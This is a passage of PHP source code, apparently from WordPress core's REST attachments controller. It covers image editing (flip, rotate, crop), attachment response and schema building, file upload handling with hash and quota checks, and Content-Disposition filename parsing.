	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function edit_media_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/image.php';

		$attachment_id = $request['id'];

		// This also confirms the attachment is an image.
		$image_file = wp_get_original_image_path( $attachment_id );
		$image_meta = wp_get_attachment_metadata( $attachment_id );

		if (
			! $image_meta ||
			! $image_file ||
			! wp_image_file_matches_image_meta( $request['src'], $image_meta, $attachment_id )
		) {
			return new WP_Error(
				'rest_unknown_attachment',
				__( 'Unable to get meta information for file.' ),
				array( 'status' => 404 )
			);
		}

		$supported_types = array( 'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'image/avif', 'image/heic' );
		$mime_type       = get_post_mime_type( $attachment_id );
		if ( ! in_array( $mime_type, $supported_types, true ) ) {
			return new WP_Error(
				'rest_cannot_edit_file_type',
				__( 'This type of file cannot be edited.' ),
				array( 'status' => 400 )
			);
		}

		// The `modifiers` param takes precedence over the older format.
		if ( isset( $request['modifiers'] ) ) {
			$modifiers = $request['modifiers'];
		} else {
			$modifiers = array();

			if ( isset( $request['flip']['horizontal'] ) || isset( $request['flip']['vertical'] ) ) {
				$flip_args = array(
					'vertical'   => isset( $request['flip']['vertical'] ) ? (bool) $request['flip']['vertical'] : false,
					'horizontal' => isset( $request['flip']['horizontal'] ) ? (bool) $request['flip']['horizontal'] : false,
				);

				$modifiers[] = array(
					'type' => 'flip',
					'args' => array(
						'flip' => $flip_args,
					),
				);
			}

			if ( ! empty( $request['rotation'] ) ) {
				$modifiers[] = array(
					'type' => 'rotate',
					'args' => array(
						'angle' => $request['rotation'],
					),
				);
			}

			if ( isset( $request['x'], $request['y'], $request['width'], $request['height'] ) ) {
				$modifiers[] = array(
					'type' => 'crop',
					'args' => array(
						'left'   => $request['x'],
						'top'    => $request['y'],
						'width'  => $request['width'],
						'height' => $request['height'],
					),
				);
			}

			if ( 0 === count( $modifiers ) ) {
				return new WP_Error(
					'rest_image_not_edited',
					__( 'The image was not edited. Edit the image before applying the changes.' ),
					array( 'status' => 400 )
				);
			}
		}

		/*
		 * If the file doesn't exist, attempt a URL fopen on the src link.
		 * This can occur with certain file replication plugins.
		 * Keep the original file path to get a modified name later.
		 */
		$image_file_to_edit = $image_file;
		if ( ! file_exists( $image_file_to_edit ) ) {
			$image_file_to_edit = _load_image_to_edit_path( $attachment_id );
		}

		$image_editor = wp_get_image_editor( $image_file_to_edit );

		if ( is_wp_error( $image_editor ) ) {
			return new WP_Error(
				'rest_unknown_image_file_type',
				__( 'Unable to edit this image.' ),
				array( 'status' => 500 )
			);
		}

		foreach ( $modifiers as $modifier ) {
			$args = $modifier['args'];
			switch ( $modifier['type'] ) {
				case 'flip':
					/*
					 * Flips the current image.
					 * The vertical flip is the first argument (flip along horizontal axis), the horizontal flip is the second argument (flip along vertical axis).
					 * See: WP_Image_Editor::flip()
					 */
					$result = $image_editor->flip( $args['flip']['vertical'], $args['flip']['horizontal'] );
					if ( is_wp_error( $result ) ) {
						return new WP_Error(
							'rest_image_flip_failed',
							__( 'Unable to flip this image.' ),
							array( 'status' => 500 )
						);
					}
					break;
				case 'rotate':
					// Rotation direction: clockwise vs. counterclockwise.
					$rotate = 0 - $args['angle'];

					if ( 0 !== $rotate ) {
						$result = $image_editor->rotate( $rotate );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								'rest_image_rotation_failed',
								__( 'Unable to rotate this image.' ),
								array( 'status' => 500 )
							);
						}
					}

					break;

				case 'crop':
					$size = $image_editor->get_size();

					$crop_x = (int) round( ( $size['width'] * $args['left'] ) / 100.0 );
					$crop_y = (int) round( ( $size['height'] * $args['top'] ) / 100.0 );
					$width  = (int) round( ( $size['width'] * $args['width'] ) / 100.0 );
					$height = (int) round( ( $size['height'] * $args['height'] ) / 100.0 );

					if ( $size['width'] !== $width || $size['height'] !== $height ) {
						$result = $image_editor->crop( $crop_x, $crop_y, $width, $height );

						if ( is_wp_error( $result ) ) {
							return new WP_Error(
								'rest_image_crop_failed',
								__( 'Unable to crop this image.' ),
								array( 'status' => 500 )
							);
						}
					}

					break;

			}
		}

		// Calculate the file name.
		$image_ext  = pathinfo( $image_file, PATHINFO_EXTENSION );
		$image_name = wp_basename( $image_file, ".{$image_ext}" );

		/*
		 * Do not append multiple `-edited` to the file name.
		 * The user may be editing a previously edited image.
		 */
		if ( preg_match( '/-edited(-\d+)?$/', $image_name ) ) {
			// Remove any `-1`, `-2`, etc. `wp_unique_filename()` will add the proper number.
			$image_name = preg_replace( '/-edited(-\d+)?$/', '-edited', $image_name );
		} else {
			// Append `-edited` before the extension.
			$image_name .= '-edited';
		}

		$filename = "{$image_name}.{$image_ext}";

		// Create the uploads subdirectory if needed.
		$uploads = wp_upload_dir();

		// Make the file name unique in the (new) upload directory.
		$filename = wp_unique_filename( $uploads['path'], $filename );

		// Save to disk.
		$saved = $image_editor->save( $uploads['path'] . "/$filename" );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

		// Grab original attachment post so we can use it to set defaults.
		$original_attachment_post = get_post( $attachment_id );

		// Check request fields and assign default values.
		$new_attachment_post                 = $this->prepare_item_for_database( $request );
		$new_attachment_post->post_mime_type = $saved['mime-type'];
		$new_attachment_post->guid           = $uploads['url'] . "/$filename";

		// Unset ID so wp_insert_attachment generates a new ID.
		unset( $new_attachment_post->ID );

		// Set new attachment post title with fallbacks.
		$new_attachment_post->post_title = $new_attachment_post->post_title ?? $original_attachment_post->post_title ?? $image_name;

		// Set new attachment post caption (post_excerpt).
		$new_attachment_post->post_excerpt = $new_attachment_post->post_excerpt ?? $original_attachment_post->post_excerpt ?? '';

		// Set new attachment post description (post_content) with fallbacks.
		$new_attachment_post->post_content = $new_attachment_post->post_content ?? $original_attachment_post->post_content ?? '';

		// Set post parent if set in request, else the default of `0` (no parent).
		$new_attachment_post->post_parent = $new_attachment_post->post_parent ?? 0;

		// Insert the new attachment post.
		$new_attachment_id = wp_insert_attachment( wp_slash( (array) $new_attachment_post ), $saved['path'], 0, true );

		if ( is_wp_error( $new_attachment_id ) ) {
			if ( 'db_update_error' === $new_attachment_id->get_error_code() ) {
				$new_attachment_id->add_data( array( 'status' => 500 ) );
			} else {
				$new_attachment_id->add_data( array( 'status' => 400 ) );
			}

			return $new_attachment_id;
		}

		// First, try to use the alt text from the request. If not set, copy the image alt text from the original attachment.
		$image_alt = isset( $request['alt_text'] ) ? sanitize_text_field( $request['alt_text'] ) : get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );

		if ( ! empty( $image_alt ) ) {
			// update_post_meta() expects slashed.
			update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
		}

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( 'X-WP-Upload-Attachment-ID: ' . $new_attachment_id );
		}

		// Generate image sub-sizes and meta.
		$new_image_meta = wp_generate_attachment_metadata( $new_attachment_id, $saved['path'] );

		// Copy the EXIF metadata from the original attachment if not generated for the edited image.
		if ( isset( $image_meta['image_meta'] ) && isset( $new_image_meta['image_meta'] ) && is_array( $new_image_meta['image_meta'] ) ) {
			// Merge but skip empty values.
			foreach ( (array) $image_meta['image_meta'] as $key => $value ) {
				if ( empty( $new_image_meta['image_meta'][ $key ] ) && ! empty( $value ) ) {
					$new_image_meta['image_meta'][ $key ] = $value;
				}
			}
		}

		// Reset orientation. At this point the image is edited and orientation is correct.
		if ( ! empty( $new_image_meta['image_meta']['orientation'] ) ) {
			$new_image_meta['image_meta']['orientation'] = 1;
		}

		// The attachment_id may change if the site is exported and imported.
		$new_image_meta['parent_image'] = array(
			'attachment_id' => $attachment_id,
			// Path to the originally uploaded image file relative to the uploads directory.
			'file'          => _wp_relative_upload_path( $image_file ),
		);

		/**
		 * Filters the meta data for the new image created by editing an existing image.
		 *
		 * @since 5.5.0
		 *
		 * @param array $new_image_meta    Meta data for the new image.
		 * @param int   $new_attachment_id Attachment post ID for the new image.
		 * @param int   $attachment_id     Attachment post ID for the edited (parent) image.
		 */
		$new_image_meta = apply_filters( 'wp_edited_image_metadata', $new_image_meta, $new_attachment_id, $attachment_id );

		wp_update_attachment_metadata( $new_attachment_id, $new_image_meta );

		$response = $this->prepare_item_for_response( get_post( $new_attachment_id ), $request );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $new_attachment_id ) ) );

		return $response;
	}

	/**
	 * Prepares a single attachment for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_attachment = parent::prepare_item_for_database( $request );

		// Attachment caption (post_excerpt internally).
		if ( isset( $request['caption'] ) ) {
			if ( is_string( $request['caption'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption'];
			} elseif ( isset( $request['caption']['raw'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption']['raw'];
			}
		}

		// Attachment description (post_content internally).
		if ( isset( $request['description'] ) ) {
			if ( is_string( $request['description'] ) ) {
				$prepared_attachment->post_content = $request['description'];
			} elseif ( isset( $request['description']['raw'] ) ) {
				$prepared_attachment->post_content = $request['description']['raw'];
			}
		}

		if ( isset( $request['post'] ) ) {
			$prepared_attachment->post_parent = (int) $request['post'];
		}

		return $prepared_attachment;
	}

	/**
	 * Prepares a single attachment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Attachment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$response = parent::prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );
		$data     = $response->get_data();

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'caption', $fields, true ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( 'the_excerpt', $caption );

			$data['caption'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $caption,
			);
		}

		if ( in_array( 'alt_text', $fields, true ) ) {
			$data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
		}

		if ( in_array( 'media_type', $fields, true ) ) {
			$data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file';
		}

		if ( in_array( 'mime_type', $fields, true ) ) {
			$data['mime_type'] = $post->post_mime_type;
		}

		if ( in_array( 'media_details', $fields, true ) ) {
			$data['media_details'] = wp_get_attachment_metadata( $post->ID );

			// Ensure empty details is an empty object.
			if ( empty( $data['media_details'] ) ) {
				$data['media_details'] = new stdClass();
			} elseif ( ! empty( $data['media_details']['sizes'] ) ) {

				foreach ( $data['media_details']['sizes'] as $size => &$size_data ) {

					if ( isset( $size_data['mime-type'] ) ) {
						$size_data['mime_type'] = $size_data['mime-type'];
						unset( $size_data['mime-type'] );
					}

					// Use the same method image_downsize() does.
					$image_src = wp_get_attachment_image_src( $post->ID, $size );
					if ( ! $image_src ) {
						continue;
					}

					$size_data['source_url'] = $image_src[0];
				}

				$full_src = wp_get_attachment_image_src( $post->ID, 'full' );

				if ( ! empty( $full_src ) ) {
					$data['media_details']['sizes']['full'] = array(
						'file'       => wp_basename( $full_src[0] ),
						'width'      => $full_src[1],
						'height'     => $full_src[2],
						'mime_type'  => $post->post_mime_type,
						'source_url' => $full_src[0],
					);
				}
			} else {
				$data['media_details']['sizes'] = new stdClass();
			}
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null;
		}

		if ( in_array( 'source_url', $fields, true ) ) {
			$data['source_url'] = wp_get_attachment_url( $post->ID );
		}

		if ( in_array( 'missing_image_sizes', $fields, true ) ) {
			require_once ABSPATH . 'wp-admin/includes/image.php';
			$data['missing_image_sizes'] = array_keys( wp_get_missing_image_subsizes( $post->ID ) );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';

		$data = $this->filter_response_by_context( $data, $context );

		$links = $response->get_links();

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		foreach ( $links as $rel => $rel_links ) {
			foreach ( $rel_links as $link ) {
				$response->add_link( $rel, $link['href'], $link['attributes'] );
			}
		}

		/**
		 * Filters an attachment returned from the REST API.
		 *
		 * Allows modification of the attachment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original attachment post.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_attachment', $response, $post, $request );
	}

	/**
	 * Prepares attachment links for the request.
	 *
	 * @since 6.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given attachment.
	 */
	protected function prepare_links( $post ) {
		$links = parent::prepare_links( $post );

		if ( ! empty( $post->post_parent ) ) {
			$post = get_post( $post->post_parent );

			if ( ! empty( $post ) ) {
				$links['https://api.w.org/attached-to'] = array(
					'href'       => rest_url( rest_get_route_for_post( $post ) ),
					'embeddable' => true,
					'post_type'  => $post->post_type,
					'id'         => $post->ID,
				);
			}
		}

		return $links;
	}

	/**
	 * Retrieves the attachment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema as an array.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();

		$schema['properties']['alt_text'] = array(
			'description' => __( 'Alternative text to display when attachment is not displayed.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['caption'] = array(
			'description' => __( 'The attachment caption.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
			),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Caption for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML caption for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The attachment description.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
			),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Description for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML description for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['media_type'] = array(
			'description' => __( 'Attachment type.' ),
			'type'        => 'string',
			'enum'        => array( 'image', 'file' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['mime_type'] = array(
			'description' => __( 'The attachment MIME type.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['media_details'] = array(
			'description' => __( 'Details about the media file, specific to its type.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['post'] = array(
			'description' => __( 'The ID for the associated post of the attachment.' ),
			'type'        => 'integer',
			'context'     => array( 'view', 'edit' ),
		);

		$schema['properties']['source_url'] = array(
			'description' => __( 'URL to the original attachment file.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['missing_image_sizes'] = array(
			'description' => __( 'List of the missing image sizes of the attachment.' ),
			'type'        => 'array',
			'items'       => array( 'type' => 'string' ),
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		unset( $schema['properties']['password'] );

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Handles an upload via raw POST data.
	 *
	 * @since 4.7.0
	 * @since 6.6.0 Added the `$time` parameter.
	 *
	 * @param string      $data    Supplied file data.
	 * @param array       $headers HTTP headers from the request.
	 * @param string|null $time    Optional. Time formatted in 'yyyy/mm'. Default null.
	 * @return array|WP_Error Data from wp_handle_sideload().
	 */
	protected function upload_from_data( $data, $headers, $time = null ) {
		if ( empty( $data ) ) {
			return new WP_Error(
				'rest_upload_no_data',
				__( 'No data supplied.' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $headers['content_type'] ) ) {
			return new WP_Error(
				'rest_upload_no_content_type',
				__( 'No Content-Type supplied.' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $headers['content_disposition'] ) ) {
			return new WP_Error(
				'rest_upload_no_content_disposition',
				__( 'No Content-Disposition supplied.' ),
				array( 'status' => 400 )
			);
		}

		$filename = self::get_filename_from_disposition( $headers['content_disposition'] );

		if ( empty( $filename ) ) {
			return new WP_Error(
				'rest_upload_invalid_disposition',
				__( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5( $data );

			if ( $expected !== $actual ) {
				return new WP_Error(
					'rest_upload_hash_mismatch',
					__( 'Content hash did not match expected.' ),
					array( 'status' => 412 )
				);
			}
		}

		// Get the content-type.
		$type = array_shift( $headers['content_type'] );

		// Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload().
		require_once ABSPATH . 'wp-admin/includes/file.php';

		// Save the file.
		$tmpfname = wp_tempnam( $filename );

		$fp = fopen( $tmpfname, 'w+' );

		if ( ! $fp ) {
			return new WP_Error(
				'rest_upload_file_error',
				__( 'Could not open file handle.' ),
				array( 'status' => 500 )
			);
		}

		fwrite( $fp, $data );
		fclose( $fp );

		// Now, sideload it in.
		$file_data = array(
			'error'    => null,
			'tmp_name' => $tmpfname,
			'name'     => $filename,
			'type'     => $type,
		);

		$size_check = self::check_upload_size( $file_data );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		$overrides = array(
			'test_form' => false,
		);

		$sideloaded = wp_handle_sideload( $file_data, $overrides, $time );

		if ( isset( $sideloaded['error'] ) ) {
			@unlink( $tmpfname );

			return new WP_Error(
				'rest_upload_sideload_error',
				$sideloaded['error'],
				array( 'status' => 500 )
			);
		}

		return $sideloaded;
	}

	/**
	 * Parses filename from a Content-Disposition header value.
	 *
	 * As per RFC6266:
	 *
	 *     content-disposition = "Content-Disposition" ":"
	 *                            disposition-type *( ";" disposition-parm )
	 *
	 *     disposition-type    = "inline" | "attachment" | disp-ext-type
	 *                         ; case-insensitive
	 *     disp-ext-type       = token
	 *
	 *     disposition-parm    = filename-parm | disp-ext-parm
	 *
	 *     filename-parm       = "filename" "=" value
	 *                         | "filename*" "=" ext-value
	 *
	 *     disp-ext-parm       = token "=" value
	 *                         | ext-token "=" ext-value
	 *     ext-token           = <the characters in token, followed by "*">
	 *
	 * @since 4.7.0
	 *
	 * @link https://tools.ietf.org/html/rfc2388
	 * @link https://tools.ietf.org/html/rfc6266
	 *
	 * @param string[] $disposition_header List of Content-Disposition header values.
	 * @return string|null Filename if available, or null if not found.
	 */
	public static function get_filename_from_disposition( $disposition_header ) {
		// Get the filename.
		$filename = null;

		foreach ( $disposition_header as $value ) {
			$value = trim( $value );

			if ( ! str_contains( $value, ';' ) ) {
				continue;
			}

			list( , $attr_parts ) = explode( ';', $value, 2 );

			$attr_parts = explode( ';', $attr_parts );
			$attributes = array();

			foreach ( $attr_parts as $part ) {
				if ( ! str_contains( $part, '=' ) ) {
					continue;
				}

				list( $key, $value ) = explode( '=', $part, 2 );

				$attributes[ trim( $key ) ] = trim( $value );
			}

			if ( empty( $attributes['filename'] ) ) {
				continue;
			}

			$filename = trim( $attributes['filename'] );

			// Unquote quoted filename, but after trimming.
			if ( str_starts_with( $filename, '"' ) && str_ends_with( $filename, '"' ) ) {
				$filename = substr( $filename, 1, -1 );
			}
		}

		return $filename;
	}

	/**
	 * Retrieves the query params for collections of attachments.
	 *
	 * @since 4.7.0
	 * @since 6.9.0 Extends the `media_type` and `mime_type` request arguments to support array values.
	 *
	 * @return array Query parameters for the attachment collection as an array.
	 */
	public function get_collection_params() {
		$params                            = parent::get_collection_params();
		$params['status']['default']       = 'inherit';
		$params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' );
		$media_types                       = array_keys( $this->get_media_types() );

		$params['media_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular media type or media types.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
				'enum' => $media_types,
			),
		);

		$params['mime_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular MIME type or MIME types.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		return $params;
	}

	/**
	 * Handles an upload via multipart/form-data ($_FILES).
	 *
	 * @since 4.7.0
	 * @since 6.6.0 Added the `$time` parameter.
	 *
	 * @param array       $files   Data from the `$_FILES` superglobal.
	 * @param array       $headers HTTP headers from the request.
	 * @param string|null $time    Optional. Time formatted in 'yyyy/mm'. Default null.
	 * @return array|WP_Error Data from wp_handle_upload().
	 */
	protected function upload_from_file( $files, $headers, $time = null ) {
		if ( empty( $files ) ) {
			return new WP_Error(
				'rest_upload_no_data',
				__( 'No data supplied.' ),
				array( 'status' => 400 )
			);
		}

		// Verify hash, if given.
		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5_file( $files['file']['tmp_name'] );

			if ( $expected !== $actual ) {
				return new WP_Error(
					'rest_upload_hash_mismatch',
					__( 'Content hash did not match expected.' ),
					array( 'status' => 412 )
				);
			}
		}

		// Pass off to WP to handle the actual upload.
		$overrides = array(
			'test_form' => false,
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$size_check = self::check_upload_size( $files['file'] );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		// Include filesystem functions to get access to wp_handle_upload().
		require_once ABSPATH . 'wp-admin/includes/file.php';

		$file = wp_handle_upload( $files['file'], $overrides, $time );

		if ( isset( $file['error'] ) ) {
			return new WP_Error(
				'rest_upload_unknown_error',
				$file['error'],
				array( 'status' => 500 )
			);
		}

		return $file;
	}

	/**
	 * Retrieves the supported media types.
	 *
	 * Media types are considered the MIME type category.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of supported media types.
	 */
	protected function get_media_types() {
		$media_types = array();

		foreach ( get_allowed_mime_types() as $mime_type ) {
			$parts = explode( '/', $mime_type );

			if ( ! isset( $media_types[ $parts[0] ] ) ) {
				$media_types[ $parts[0] ] = array();
			}

			$media_types[ $parts[0] ][] = $mime_type;
		}

		return $media_types;
	}

	/**
	 * Determine if uploaded file exceeds space quota on multisite.
	 *
	 * Replicates check_upload_size().
	 *
	 * @since 4.9.8
	 *
	 * @param array $file $_FILES array for a given file.
	 * @return true|WP_Error True if can upload, error for errors.
	 */
	protected function check_upload_size( $file ) {
		if ( ! is_multisite() ) {
			return true;
		}

		if ( get_site_option( 'upload_space_check_disabled' ) ) {
			return true;
		}

		$space_left = get_upload_space_available();

		$file_size = filesize( $file['tmp_name'] );

		if ( $space_left < $file_size ) {
			return new WP_Error(
				'rest_upload_limited_space',
				/* translators: %s: Required disk space in kilobytes. */
				sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ),
				array( 'status' => 400 )
			);
		}

		if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
			return new WP_Error(
				'rest_upload_file_too_big',
				/* translators: %s: Maximum allowed file size in kilobytes. */
				sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ),
				array( 'status' => 400 )
			);
		}

		// Include multisite admin functions to get access to upload_is_user_over_quota().
		require_once ABSPATH . 'wp-admin/includes/ms.php';

		if ( upload_is_user_over_quota( false ) ) {
			return new WP_Error(
				'rest_upload_user_quota_exceeded',
				__( 'You have used your space quota. Please delete files before uploading.' ),
				array( 'status' => 400 )
			);
		}

		return true;
	}

	/**
	 * Gets the request args for the edit item route.
	 *
	 * @since 5.5.0
	 * @since 6.9.0 Adds flips capability and editable fields for the newly-created attachment post.
	 *
	 * @return array
	 */
	protected function get_edit_media_item_args() {
		$args = array(
			'src'       => array(
				'description' => __( 'URL to the edited image file.' ),
				'type'        => 'string',
				'format'      => 'uri',
				'required'    => true,
			),
			// The `modifiers` param takes precedence over the older format.
			'modifiers' => array(
				'description' => __( 'Array of image edits.' ),
				'type'        => 'array',
				'minItems'    => 1,
				'items'       => array(
					'description' => __( 'Image edit.' ),
					'type'        => 'object',
					'required'    => array(
						'type',
						'args',
					),
					'oneOf'       => array(
						array(
							'title'      => __( 'Flip' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Flip type.' ),
									'type'        => 'string',
									'enum'        => array( 'flip' ),
								),
								'args' => array(
									'description' => __( 'Flip arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'flip',
									),
									'properties'  => array(
										'flip' => array(
											'description' => __( 'Flip direction.' ),
											'type'        => 'object',
											'required'    => array(
												'horizontal',
												'vertical',
											),
											'properties'  => array(
												'horizontal' => array(
													'description' => __( 'Whether to flip in the horizontal direction.' ),
													'type' => 'boolean',
												),
												'vertical' => array(
													'description' => __( 'Whether to flip in the vertical direction.' ),
													'type' => 'boolean',
												),
											),
										),
									),
								),
							),
						),
						array(
							'title'      => __( 'Rotation' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Rotation type.' ),
									'type'        => 'string',
									'enum'        => array( 'rotate' ),
								),
								'args' => array(
									'description' => __( 'Rotation arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'angle',
									),
									'properties'  => array(
										'angle' => array(
											'description' => __( 'Angle to rotate clockwise in degrees.' ),
											'type'        => 'number',
										),
									),
								),
							),
						),
						array(
							'title'      => __( 'Crop' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Crop type.' ),
									'type'        => 'string',
									'enum'        => array( 'crop' ),
								),
								'args' => array(
									'description' => __( 'Crop arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'left',
										'top',
										'width',
										'height',
									),
									'properties'  => array(
										'left'   => array(
											'description' => __( 'Horizontal position from the left to begin the crop as a percentage of the image width.' ),
											'type'        => 'number',
										),
										'top'    => array(
											'description' => __( 'Vertical position from the top to begin the crop as a percentage of the image height.' ),
											'type'        => 'number',
										),
										'width'  => array(
											'description' => __( 'Width of the crop as a percentage of the image width.' ),
											'type'        => 'number',
										),
										'height' => array(
											'description' => __( 'Height of the crop as a percentage of the image height.' ),
											'type'        => 'number',
										),
									),
								),
							),
						),
					),
				),
			),
			'rotation'  => array(
				'description'      => __( 'The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead.' ),
				'type'             => 'integer',
				'minimum'          => 0,
				'exclusiveMinimum' => true,
				'maximum'          => 360,
				'exclusiveMaximum' => true,
			),
			'x'         => array(
				'description' => __( 'As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'y'         => array(
				'description' => __( 'As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'width'     => array(
				'description' => __( 'As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'height'    => array(
				'description' => __( 'As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
		);

		/*
		 * Get the args based on the post schema. This calls `rest_get_endpoint_args_for_schema()`,
		 * which also takes care of sanitization and validation.
		 */
		$update_item_args = $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE );

		if ( isset( $update_item_args['caption'] ) ) {
			$args['caption'] = $update_item_args['caption'];
		}

		if ( isset( $update_item_args['description'] ) ) {
			$args['description'] = $update_item_args['description'];
		}

		if ( isset( $update_item_args['title'] ) ) {
			$args['title'] = $update_item_args['title'];
		}

		if ( isset( $update_item_args['post'] ) ) {
			$args['post'] = $update_item_args['post'];
		}

		if ( isset( $update_item_args['alt_text'] ) ) {
			$args['alt_text'] = $update_item_args['alt_text'];
		}

		return $args;
	}
}
